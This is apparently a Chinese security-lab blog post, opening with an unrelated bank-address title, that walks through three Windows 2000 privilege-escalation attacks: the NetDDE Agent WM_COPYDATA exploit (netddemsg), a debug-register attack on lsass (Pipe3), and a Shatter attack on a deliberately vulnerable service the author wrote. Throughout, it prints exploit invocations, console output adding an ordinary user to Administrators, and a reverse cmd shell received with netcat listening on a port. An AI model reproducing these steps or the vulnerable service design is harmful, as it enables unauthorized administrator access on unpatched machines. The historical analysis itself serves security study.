武汉农村商业银行地址:电脑上有个NetDDE Agent这个小窗口是什么来的.怎么关不了的.是不是中毒了.

NetDDE Agent"，是一个"NDDEAgnt"类的window class，它的功能在于协助DDE Server程序及DDE Client程序之间的数据交换。由于它由Winlogon创建，这个Window的进程就以Local System的权限运行在登录用户的Desktop上，只不过用户看不到它而已。

"NetDDE Agent"还有另外一个辅助功能：当DDE Client试图连接到一个Trueted的DDE Share时，如果"NetDDE Agent"发现创建这个DDE Share的DDE Server尚未运行，它会主动启动这个Server。记住"NetDDE Agent"进程是具有Local System权限的，所以它启动Server没有一点问题。

根据DilDog的研究，这个隐藏式的"NetDDE Agent"就是一个缺口(Vulerability)！还记得Window操作系统中的函数SendMessage()吗？登录用户可以利用这个函数向Desktop上的任何Window发送Message，即使这个Window不属于当前登录用户。所以黑客在以一般用户的身份登录后，可以用SendMessage()发送一个WM_COPYDATA message给"NetDDE Agent"，这个Message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容：

1。 一个Trusted DDE Share的名字，比如说Chat$；

2。 一个用于启动DDE Server的命令，如果"NetDDE Agent"发现创建Chat$的DDE

Server尚未运行，就根据这个命令来启动DDE Server。但是黑客可以任选一个命 令来伪造，比如说“Net Localgroup Administrators /Add 阿猫”----这里的阿 猫已经是合法的一般用户了；

3。 一些固定不变的字节。DilDog认为是这些字节应该是随机产生的，而不应该固定不变。我个人理解这些字节是用于向"NetDDE Agent"或Network DDE DSDM证明WM_COPYDATA message是由合法程序(而不是黑客程序)发出的，所以它们应该随机变化而不让黑客轻易得到。

当"NDDEAgnt"接收到WM_COPYDATA message时，它核对后会发现第三部分的字节正确无误，而且Trusted DDE Share确实存在，於是它就执行黑客命令，由于"NDDEAgnt"具有Local System权限，它可以顺利地让阿猫同志光荣地加入本地Administrator Group。

DilDog在文章中还附带了一个Exploit程序netddemsg，我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地Administrators Group的：

/*

先以我的用户账号“moda”登录dallas。

看看本地administrators Group有哪些成员：

*/

D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators

Alias name administrators

Comment Administrators have complete and unrestricted access to the Members

-----------------------------------------------------------------------------

a_mao

Administrator

The command completed successfully.

/*

本地administrators Group目前只有两个成员，Administrator和a_mao。试着把“moda”加入到本地administrators Group中：

*/

D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators /add moda

System error 5 has occurred.

Access is denied.

/*

我的权限显然不够，所以得到error 5。

运行DilDog的Exploit程序，同时附带上我的黑客命令：

*/

D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$

net localgroup administrators /add moda

/*

程序运行结束，让我们看看“moda”是否加入本地administrators Group：

*/

D:\MyJob\securitylab\netddemsg\Debug>

D:\MyJob\securitylab\netddemsg\Debug>net localgroup

administrators

Alias name administrators

Comment Administrators have complete and unrestricted

access to the

Members

-----------------------------------------------------------------------------

a_mao

Administrator

moda

The command completed successfully.

D:\MyJob\securitylab\netddemsg\Debug>

/*

我也光荣地加入了本地administrators Group

*/

利用Windows 2000/Intel中的Debug Register来提升权限：

我是在Georgi Guninski的个人网站http://www.guninski.com)上看到这篇文章：

“Elevation of Privileges with debug registers on Win2k”，介绍如何利用Intel X86中的Debug Register来获取Local Administrator的权限。我的运气不太好，用文章中的Exploit程序Pipe3试了几次也不能成功，不过觉得利用Debug Register来攻击是个新的思路，所以就在这里顺便介绍一下。

Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。也就是说，你在一般用户进程中下一个绊子(就是设置一个断点)，没准会把某个系统进程或者服务进程(Service)绊一跤；这一跤要是把系统/服务进程摔垮了，导致它停止执行的话，你没准就可以伪造该进程的Named Pipe；然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时，黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local SSystem的权限。

文章中的Exploit程序Pipe3(请从网http://www.guninski.com下载)就是按照这个思路设计的：它要整垮的进程是lsass，所以必须先找几个lsass进程将要运行的指令的地址，以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路，我们才好在那条路上设绊脚石)；然后Pipe3以一般用户的权限运行程序Calc(计算器)，并在其中设置断点，因为这断点的地址是在lsass运行的途径上，所以它们并不会影响Calc进程；过不了多久lsass就会有报告“SingleStep Exception”并让你选择是中断lsass运行还是Debug lsass进程；选择中断lsass以便关闭lsass拥有的Named Pipe----\ '5c.\pipe\lsass"，这样Pipe3就可以伪造一个同名的Named Pipe；。。。。。。这以后的几步我想就不用重复了，大家都应该清楚。下面说说我Exploit的情况：

先用WinDbg找到lsass可能要运行的指令地址，lsass有多个Thread，我从不同Thread的ESP寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让Pipe3在这些地址分别设断点，总有那么一个地址会成功地中断lsass程，并且产生一个Warning对话框(Dialog Box)报告“SingleStep Exception”。当我选择中断进程后，lsass退出执行，Pipe3报告“LSA died!”：

D:\MyJob\securitylab\pipe3\Debug>pipe3

Fun with debug registers. Written by Georgi Guninskivvdr started: lsasspid=240 breakp=5ffebc

LSA died!

Stop writing to pipe

start \\.\pipe\lsass

Failed to create named pipe:

\\.\pipe\lsass

由于lsass是重要的系统进程，它的终止运行将使系统在一分钟内自动Shutdown。另外我们注意到，\\.\pipe\lsass并没有成功地创建。为什么呢？我抢在系统Shutdown之前运行了一下Pipelist：

D:\MyJob\securitylab\pipe3\Debug>pipelist

PipeList v1.01

by Mark Russinovich

http://www.sysinternals.com

Pipe Name Instances Max Instances

--------- --------- -------------

InitShutdown 2 -1

lsass 2 -1

ntsvcs 49 -1

scerpc 2 -1

net\NtControlPipe1 1 1

DhcpClient 1 -1

net\NtControlPipe2 1 1

。。。。。。。。。。。。。。。。

很奇怪，虽然lsass进程终止运行，但是它的Named PPipe还在----这大概是Pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系，我没能深入研究这个问题，不过哪位朋友要是用Pipe3成功地实现Exploit的话，不要忘记告诉我一声！

不过话又说回来，这种利用Debug Register来终止lsass进程的方法----即使成功的话，也太暴露了：整个系统居然会Shutdown！任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了，正如我轻轻的来”，要象伟大的诗人兼武林高手徐自摩那样施展一把轻功，让傻瓜管理员根本发现不了，当然耳朵厉害的管理员还是会发现的----“谁？有黑客！抓黑客！”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的，这就不是我能评论的了。

利用Win32 API的设计缺陷提升权限：

几个星期以前我在计算机安全网站上看到两篇新发表的文章：<>、<>，作者是Chris

Paget(网名Foon)，我建议大家去下面的网址读一下他的原著：

http://security.tombom.co.uk/shatter.html

http://security.tombom.co.uk/moreshatter.html。

这两篇文章详细地介绍了如何利用Win32 API的一个设计缺陷来提升普通用户的权限。我们前面也提到，普通用户的进程可以向他/她的Desktop上任何Window发送Message，让目标Window执行用户指定的操作，比如说COPY/PASTE(拷贝/沾贴)、定时运算(Timer)等等。这个Window可能属于用户自己，也可能属于Local System(象"NetDDE Agent")----这样问题就来了：

---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的，所以我们要算上“它”)在他的Desktop上先找到一个属于Local System的Window，我们给这个Window起一个名字叫WINDOWXYZ，这个WINDOWXYZ上最好有能接收沾贴内容的Control(比如说 EDIT)；

---- 用户可以把黑客码用“WM_PASTE”(Message之一)沾贴到WINDOWXYZ的Control里；

---- 用户找到被沾贴的黑客码在WINDOWXYZ进程中的地址；

---- 用户然后发送“WM_TIMER”(Message之二)给WINDOWXYZ，同时把黑客码地址作为参数一并传给WINDOWXYZ，WINDOWXYZ於是执行定时运算，开始运行黑客码。这些 黑客码是以Local System的权限运行的，所以普通用户的权限被成功地提升。

---- 实际上，根据FOON的文章，即使普通用户在其Desktop上找不到属于Local System的Window，他也有办法提升权限：他可以利用Tool Help函数得到属于 Local System的进程及其Thread，只要其中任何一个Thread能处理Window的Message，用户就可以用函数PostThreadMessage()向这个属于Local System的Thread发送Message，然后就。。。如此这般。。。地提升权限。不过我没有时间 亲手试验过这种方法。

这两篇文章引起了很大的反响，其中最引人注意的是Microsoft的答复，Micorsoft说这种方法老早就有人提出来了，Nothing New！又说根本就不应该在普通用户的Desktop上创建属于Local System的Window，编程序的人应该避免这样的设计。但实际上隐藏式的窗口"NetDDE Agent"就出自于Microsoft的设计，它属于Local System但是却运行在登录用户的Desktop上，看来Microsoft是知法犯法啊！

我觉得这个缺陷就象不安全的函数strcpy一样，C语言在实现strcpy函数时有漏洞(函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块，缓冲区的溢出就会覆盖系统管理信息)，於是大家寄希望于程序员能够避免使用函数strcpy。现在Microsoft也承认在普通用户的Desktop上创建一个Window是危险的，所以它也寄希望于大家编程时避免使用这样的设计。

下面我专门编写了一个服务进程“SimpleService”来演示一下Microsoft的这个设计缺陷。SimpleService以Local System的权限运行，它打开一个Named Pipe然后等待Named Pipe Client与它联络；普通用户接着登录计算机并运行程序“Client”，“Client”是一个Named Pipe Client；它向SimpleService的Named Pipe随便写一些字节，於是SimpleService就在登录用户的Desktop上产生一个对话窗口(Dialog Box)。普通用户最后利用FOON的攻击程序Shatter攻击这个对话窗口来获得“Local System”的权限。

因为SimpleService程序太长，所以我只节选了关键的部分让大家参考：

<====================SimpleService====================>

#define SZAPPNAME _T("Simple")

#define SZSERVICENAME _T("SimpleService")

#define SZSERVICEDISPLAYNAME _T("Simple Service")

#define SZDEPENDENCIES _T("")

typedef struct DLGPARAM{

UINT numOfHit;

TCHAR *msg;

} DlgParam;

// internal function prototypes

static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);

// SimpleService.cpp : Defines the entry point for the

application.

//

HINSTANCE hAppInstance;

DlgParam m_dlgParam;

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

......

}

void WINAPI service_main()

{

......

}

VOID WINAPI service_ctrl(DWORD dwCtrlCode)

{

......

}

BOOL WINAPI ControlHandler ( DWORD dwCtrlType )

{

......

}

HANDLE hServerStopEvent = NULL;

VOID ServiceStart ()

{

......

......

hPipe = CreateNamedPipe(

lpszPipeName , // name of pipe

FILE_FLAG_OVERLAPPED

PIPE_ACCESS_DUPLEX, // pipe open mode

PIPE_TYPE_MESSAGE

PIPE_READMODE_MESSAGE

PIPE_WAIT, // pipe IO type

1, // number of instances

0, // size of outbuf

file://(0 == allocate as necessary)

0, // size of inbuf

1000, // default time-out value

&sa); // security attributes

......

......

while ( 1 )

{

......

......

ConnectNamedPipe(hPipe, &os);

......

......

bRet = ReadFile(

hPipe, // file to read from

szIn, // address of input buffer

sizeof(szIn), // number of bytes to read

&cbRead, // number of bytes read

&os); // overlapped stuff, not needed

......

......

_stprintf(szOut, _T("Please check the Dialog Box"));

_stprintf(szOut1, _T("Eacho Back! [%s]"), szIn);

......

......

bRet = WriteFile(

hPipe, // file to write to

szOut, // address of output buffer

sizeof(szOut), // number of bytes to write

&cbWritten, // number of bytes written

&os); // overlapped stuff, not needed

......

......

DisconnectNamedPipe(hPipe);

m_dlgParam.numOfHit++;

m_dlgParam.msg = szOut1;

/*

在登录用户的Desktop上创建一个窗口

*/

int result = DialogBoxParam(hAppInstance,

MAKEINTRESOURCE(IDD_SVCMSG),

NULL,

(DLGPROC) DialogProc,

(LPARAM) &m_dlgParam);

}

cleanup:

......

......

}

VOID ServiceStop()

{

if ( hServerStopEvent )

SetEvent(hServerStopEvent);

}

#define SIZEOFBUF 40

/*

Window的Message Handler

*/

BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

{

DlgParam* l_pDlgParam = (DlgParam*) lParam;

CHAR tempBuf[SIZEOFBUF];

switch (uMsg)

{

case WM_INITDIALOG:

{

HWND hNumVisit = GetDlgItem(hwnd, IDC_NUMHIT); /*限定Edit Control的尺寸(Size)为3*/

SendMessage( hNumVisit, EM_LIMITTEXT, (WPARAM) 3,

(LPARAM)0);

_itoa(l_pDlgParam->numOfHit, tempBuf,10);

SendMessage(hNumVisit, WM_SETTEXT, (WPARAM)

0,(LPARAM)tempBuf);

HWND hMsg = GetDlgItem(hwnd, IDC_MSG);

/*限定Edit Control的尺寸(Size)为40*/

SendMessage( hMsg, EM_LIMITTEXT, (WPARAM) SIZEOFBUF,

(LPARAM)0);

SendMessage( hMsg, WM_SETTEXT, (WPARAM) 0,

(LPARAM) l_pDlgParam->msg );

SetForegroundWindow(hwnd);

return FALSE;

}

case WM_COMMAND:

{

switch (LOWORD(wParam))

{

case IDC_OK:

EndDialog(hwnd, IDC_OK);

return FALSE;

default:

return FALSE;

}

}

}

return FALSE;

}
<===============================================>

下面是程序Client.c，非常简单，它的功能仅仅是向“\\.\pipe\simple”发送几个字节：

<=======================Client========================>

// client.cpp : Defines the entry point for the console

application.

//

#include

#include

#include

#include

int main(int argc, char* argv[])

{

char inbuf[80];

char outbuf[80];

DWORD bytesRead;

BOOL ret;

LPSTR lpszPipeName = "\\\\.\\pipe\\simple";

LPSTR lpszString = "World";

strcpy( outbuf, lpszString );

ret = CallNamedPipeA(lpszPipeName,

outbuf, sizeof(outbuf),

inbuf, sizeof(inbuf),

&bytesRead, NMPWAIT_WAIT_FOREVER);

if (!ret) {

printf("client: CallNamedPipe failed for %d\n",

GetLastError());

exit(1);

}

printf("client: received: %s\n", inbuf);

return 0;

}

<==================================================>

FOON编写了一个攻击工具Shatter，大家可以参考他的文章来使用这个工具，而且他的网站上还有Shatter的源程序。这个程序专门攻击象SimpleService这样会创建Window的服务进程，它首先把Window中Edit Control的尺寸(Size)扩大，然后把可执行的黑客码沾贴到Edit中，这样就把黑客码拷贝到这个Window进程的内存中了----很Cool吧！接下来我们就要寻找黑客码在内存中的地址，FOON是用Windbg去寻找这个地址的，详情请参考他的文章。最后Shatter向Window进程发送一个定时执行Message----“WM_TIMER”，迫使Window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成，它产生一个远程的cmd shell联结回到Client机器上，所以我们可以用鼎鼎有名的netcat程序与它联络。

我现在来演示一下使用Shatter攻击SimpleService的过程，看看普通用户“moda”是如何通过Shatter提升权限的：

先以普通用户“moda”登录，看看本地Administrators组当前的成员：

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-1999 Microsoft Corp.

D:\MyJob\tool\netcat>net localgroup administrators

Alias name administrators

Comment Administrators have complete and unrestricted access to the Members

-----------------------------------------------------------------------------

Administrator

The command completed successfully.

本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。

D:\MyJob\tool\netcat>net localgroup administrators /add moda

System error 5 has occurred.

Access is denied.

很惨呀，得了一个“Access is denied.”的错误。

下面运行程序Client，向SimpleService发送几个字节，於是SimpleService在普通用户“moda”的Desktop上产生一个对话框：

这个对话框上有两个Edit Controls，一个对应着“Number Of Hit”，这里输出SimpleService的Named Pipe被访问的次数；一个对应着“Message Back”，这里输出SimpleService的Message。这两个Edit都可以被攻击利用，不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter：

第一步：我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到，“Message Back”的Edit只允许40个char，而jill的黑客码显然超过了这个长度，所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT，把它的尺寸扩大到0xffffffff(见下图)。

第二步：把FOON改编的jill黑客码拷贝到Clipboard上，然后往Edit发送WM_PASTE，你可以看到Edit中马上堆积了一长串乱七八糟的字符，这就是jill黑客码。

第三步：利用Windbg去寻找jill黑客码在Window内存中的地址，这个过程FOON已经讲得很清楚了，所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。

第四步：另外打开一个Dos窗口运行netcat，我们准备与打入敌营的侦察兵jill联络：

D:\MyJob\tool\netcat>

D:\MyJob\tool\netcat>nc -lp 123

第五步：向Edit发送WM_TIMER，让Window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容，它输出一些版权信息。

D:\MyJob\tool\netcat>

D:\MyJob\tool\netcat>nc -lp 123

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-1999 Microsoft Corp.

第六步： 现在你就可以通过netcat与Window进程中的cmd Shell联系，可以向它发送命令，从它那里得到命令运行结果。这个cmd Shell具有Local System的权限，所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中：

D:\WINNT\system32>net localgroup administrators /add moda

net localgroup administrators /add moda

The command completed successfully.

D:\WINNT\system32>net localgroup administrators

net localgroup administrators

Alias name administrators

Comment Administrators have complete and unrestricted access to the Members

-----------------------------------------------------------------------------

Administrator moda

The command completed successfully.

D:\WINNT\system32>

D:\WINNT\system32>

以上就是我演示Microsoft这个缺陷的过程，虽说我有意把SimpleServic设计得易于黑客攻击，但实际上还有不少的流行的程序也是犯了同样的错误，象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等，它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。